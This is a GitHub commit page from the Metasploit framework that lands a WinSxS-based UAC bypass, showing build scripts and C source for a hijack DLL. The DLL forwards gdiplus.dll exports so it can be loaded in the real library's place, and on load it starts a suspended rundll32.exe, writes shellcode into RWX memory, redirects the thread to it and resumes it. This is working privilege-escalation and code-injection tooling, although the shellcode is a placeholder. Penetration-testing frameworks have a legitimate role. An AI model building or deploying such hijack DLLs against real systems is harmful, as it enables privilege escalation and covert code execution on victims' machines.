Skip to content

Commit 294230c

Browse files
bwatters-r7bwatters-r7
committed
Land rapid7#8509, add Winsxs bypass for UAC
2 parents cfaa34d + 32eb1e9 commit 294230c

File tree

14 files changed

+983
-38
lines changed

14 files changed

+983
-38
lines changed

‎data/post/bypassuac-x64.dll

0 Bytes
Binary file not shown.

‎data/post/bypassuac-x86.dll

0 Bytes
Binary file not shown.

‎data/templates/src/pe/dll_gdiplus/build.sh

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
#
2+
# XXX: NOTE: this will only compile the x86 version.
3+
#
4+
# To compile the x64 version, use:
5+
# C:\> call "c:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\vcvarsall.bat" amd64
6+
# C:\> cl.exe -LD /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain kernel32.lib
7+
#
8+
9+
if [ -z "$PREFIX" ]; then
10+
PREFIX=i686-w64-mingw32
11+
fi
12+
13+
rm -f *.o *.dll
14+
$PREFIX-gcc -c template.c
15+
$PREFIX-windres -o rc.o template.rc
16+
$PREFIX-gcc -mdll -o junk.tmp -Wl,--base-file,base.tmp template.o rc.o
17+
rm -f junk.tmp
18+
$PREFIX-dlltool --dllname template_x86_windows.dll --base-file base.tmp --output-exp temp.exp #--def template.def
19+
rm -f base.tmp
20+
$PREFIX-gcc -mdll -o template_x86_windows.dll template.o rc.o -Wl,temp.exp
21+
rm -f temp.exp
22+
23+
$PREFIX-strip template_x86_windows.dll
24+
rm -f *.o

‎data/templates/src/pe/dll_gdiplus/template.c

Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
#include <windows.h>
2+
#include "template.h"
3+
4+
/* hand-rolled bzero allows us to avoid including ms vc runtime */
5+
void inline_bzero(void *p, size_t l)
6+
{
7+
8+
BYTE *q = (BYTE *)p;
9+
size_t x = 0;
10+
for (x = 0; x < l; x++)
11+
*(q++) = 0x00;
12+
}
13+
14+
void ExecutePayload(void);
15+
16+
BOOL WINAPI
17+
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
18+
{
19+
switch (dwReason)
20+
{
21+
case DLL_PROCESS_ATTACH:
22+
ExecutePayload();
23+
break;
24+
25+
case DLL_PROCESS_DETACH:
26+
// Code to run when the DLL is freed
27+
break;
28+
29+
case DLL_THREAD_ATTACH:
30+
// Code to run when a thread is created during the DLL's lifetime
31+
break;
32+
33+
case DLL_THREAD_DETACH:
34+
// Code to run when a thread ends normally.
35+
break;
36+
}
37+
return TRUE;
38+
}
39+
40+
void ExecutePayload(void) {
41+
int error;
42+
PROCESS_INFORMATION pi;
43+
STARTUPINFO si;
44+
CONTEXT ctx;
45+
DWORD prot;
46+
LPVOID ep;
47+
48+
// Start up the payload in a new process
49+
inline_bzero( &si, sizeof( si ));
50+
si.cb = sizeof(si);
51+
52+
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
53+
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
54+
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
55+
GetThreadContext(pi.hThread, &ctx);
56+
57+
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
58+
59+
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
60+
61+
#ifdef _WIN64
62+
ctx.Rip = (DWORD64)ep;
63+
#else
64+
ctx.Eip = (DWORD)ep;
65+
#endif
66+
67+
SetThreadContext(pi.hThread,&ctx);
68+
69+
ResumeThread(pi.hThread);
70+
CloseHandle(pi.hThread);
71+
CloseHandle(pi.hProcess);
72+
}
73+
// ExitProcess(0);
74+
ExitThread(0);
75+
}
76+
77+
/*
78+
typedef VOID
79+
(NTAPI *PIMAGE_TLS_CALLBACK) (
80+
PVOID DllHandle,
81+
ULONG Reason,
82+
PVOID Reserved
83+
);
84+
85+
VOID NTAPI TlsCallback(
86+
IN PVOID DllHandle,
87+
IN ULONG Reason,
88+
IN PVOID Reserved)
89+
{
90+
__asm ( "int3" );
91+
}
92+
93+
ULONG _tls_index;
94+
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
95+
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
96+
*/
97+

‎data/templates/src/pe/dll_gdiplus/template.def

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
EXPORTS
2+
DllMain@12
3+

‎data/templates/src/pe/dll_gdiplus/template.h

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
#define SCSIZE 2048
2+
unsigned char code[SCSIZE] = "PAYLOAD:";
3+
4+
#ifdef _MSC_VER
5+
#pragma comment (linker, "/export:GdipAlloc=c:/windows/system32/gdiplus.GdipAlloc,@34")
6+
#pragma comment (linker, "/export:GdipCloneBrush=c:/windows/system32/gdiplus.GdipCloneBrush,@46")
7+
#pragma comment (linker, "/export:GdipCloneImage=c:/windows/system32/gdiplus.GdipCloneImage,@50")
8+
#pragma comment (linker, "/export:GdipCreateBitmapFromStream=c:/windows/system32/gdiplus.GdipCreateBitmapFromStream,@74")
9+
#pragma comment (linker, "/export:GdipCreateFromHDC=c:/windows/system32/gdiplus.GdipCreateFromHDC,@84")
10+
#pragma comment (linker, "/export:GdipCreateHBITMAPFromBitmap=c:/windows/system32/gdiplus.GdipCreateHBITMAPFromBitmap,@87")
11+
#pragma comment (linker, "/export:GdipCreateLineBrushI=c:/windows/system32/gdiplus.GdipCreateLineBrushI,@97")
12+
#pragma comment (linker, "/export:GdipCreateSolidFill=c:/windows/system32/gdiplus.GdipCreateSolidFill,@122")
13+
#pragma comment (linker, "/export:GdipDeleteBrush=c:/windows/system32/gdiplus.GdipDeleteBrush,@130")
14+
#pragma comment (linker, "/export:GdipDeleteGraphics=c:/windows/system32/gdiplus.GdipDeleteGraphics,@135")
15+
#pragma comment (linker, "/export:GdipDisposeImage=c:/windows/system32/gdiplus.GdipDisposeImage,@143")
16+
#pragma comment (linker, "/export:GdipFillRectangleI=c:/windows/system32/gdiplus.GdipFillRectangleI,@219")
17+
#pragma comment (linker, "/export:GdipFree=c:/windows/system32/gdiplus.GdipFree,@225")
18+
#pragma comment (linker, "/export:GdiplusShutdown=c:/windows/system32/gdiplus.GdiplusShutdown,@608")
19+
#pragma comment (linker, "/export:GdiplusStartup=c:/windows/system32/gdiplus.GdiplusStartup,@609")
20+
#endif
21+
#ifdef __GNUC__
22+
asm (".section .drectve\n\t.ascii \" -export:GdipAlloc=c:/windows/system32/gdiplus.GdipAlloc @34\"");
23+
asm (".section .drectve\n\t.ascii \" -export:GdipCloneBrush=c:/windows/system32/gdiplus.GdipCloneBrush @46\"");
24+
asm (".section .drectve\n\t.ascii \" -export:GdipCloneImage=c:/windows/system32/gdiplus.GdipCloneImage @50\"");
25+
asm (".section .drectve\n\t.ascii \" -export:GdipCreateBitmapFromStream=c:/windows/system32/gdiplus.GdipCreateBitmapFromStream @74\"");
26+
asm (".section .drectve\n\t.ascii \" -export:GdipCreateFromHDC=c:/windows/system32/gdiplus.GdipCreateFromHDC @84\"");
27+
asm (".section .drectve\n\t.ascii \" -export:GdipCreateHBITMAPFromBitmap=c:/windows/system32/gdiplus.GdipCreateHBITMAPFromBitmap @87\"");
28+
asm (".section .drectve\n\t.ascii \" -export:GdipCreateLineBrushI=c:/windows/system32/gdiplus.GdipCreateLineBrushI @97\"");
29+
asm (".section .drectve\n\t.ascii \" -export:GdipCreateSolidFill=c:/windows/system32/gdiplus.GdipCreateSolidFill @122\"");
30+
asm (".section .drectve\n\t.ascii \" -export:GdipDeleteBrush=c:/windows/system32/gdiplus.GdipDeleteBrush @130\"");
31+
asm (".section .drectve\n\t.ascii \" -export:GdipDeleteGraphics=c:/windows/system32/gdiplus.GdipDeleteGraphics @135\"");
32+
asm (".section .drectve\n\t.ascii \" -export:GdipDisposeImage=c:/windows/system32/gdiplus.GdipDisposeImage @143\"");
33+
asm (".section .drectve\n\t.ascii \" -export:GdipFillRectangleI=c:/windows/system32/gdiplus.GdipFillRectangleI @219\"");
34+
asm (".section .drectve\n\t.ascii \" -export:GdipFree=c:/windows/system32/gdiplus.GdipFree @225\"");
35+
asm (".section .drectve\n\t.ascii \" -export:GdiplusShutdown=c:/windows/system32/gdiplus.GdiplusShutdown @608\"");
36+
asm (".section .drectve\n\t.ascii \" -export:GdiplusStartup=c:/windows/system32/gdiplus.GdiplusStartup @609\"");
37+
#endif
38+
39+
40+

‎data/templates/src/pe/dll_gdiplus/template.rc

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
2+
LANGUAGE 9, 1
3+
4+
5+
VS_VERSION_INFO VERSIONINFO
6+
FILEVERSION 0,0,0,1
7+
PRODUCTVERSION 0,0,0,1
8+
FILEFLAGSMASK 0x17L
9+
FILEFLAGS 0x0L
10+
FILEOS 0x4L
11+
FILETYPE 0x2L
12+
FILESUBTYPE 0x0L
13+
BEGIN
14+
15+
END
16+
17+
#define RT_HTML 23
18+

‎data/templates/template_x64_windows_dccw_gdiplus.dll

8.5 KB
Binary file not shown.

‎data/templates/template_x86_windows_dccw_gdiplus.dll

18.5 KB
Binary file not shown.

0 commit comments

Comments
 (0)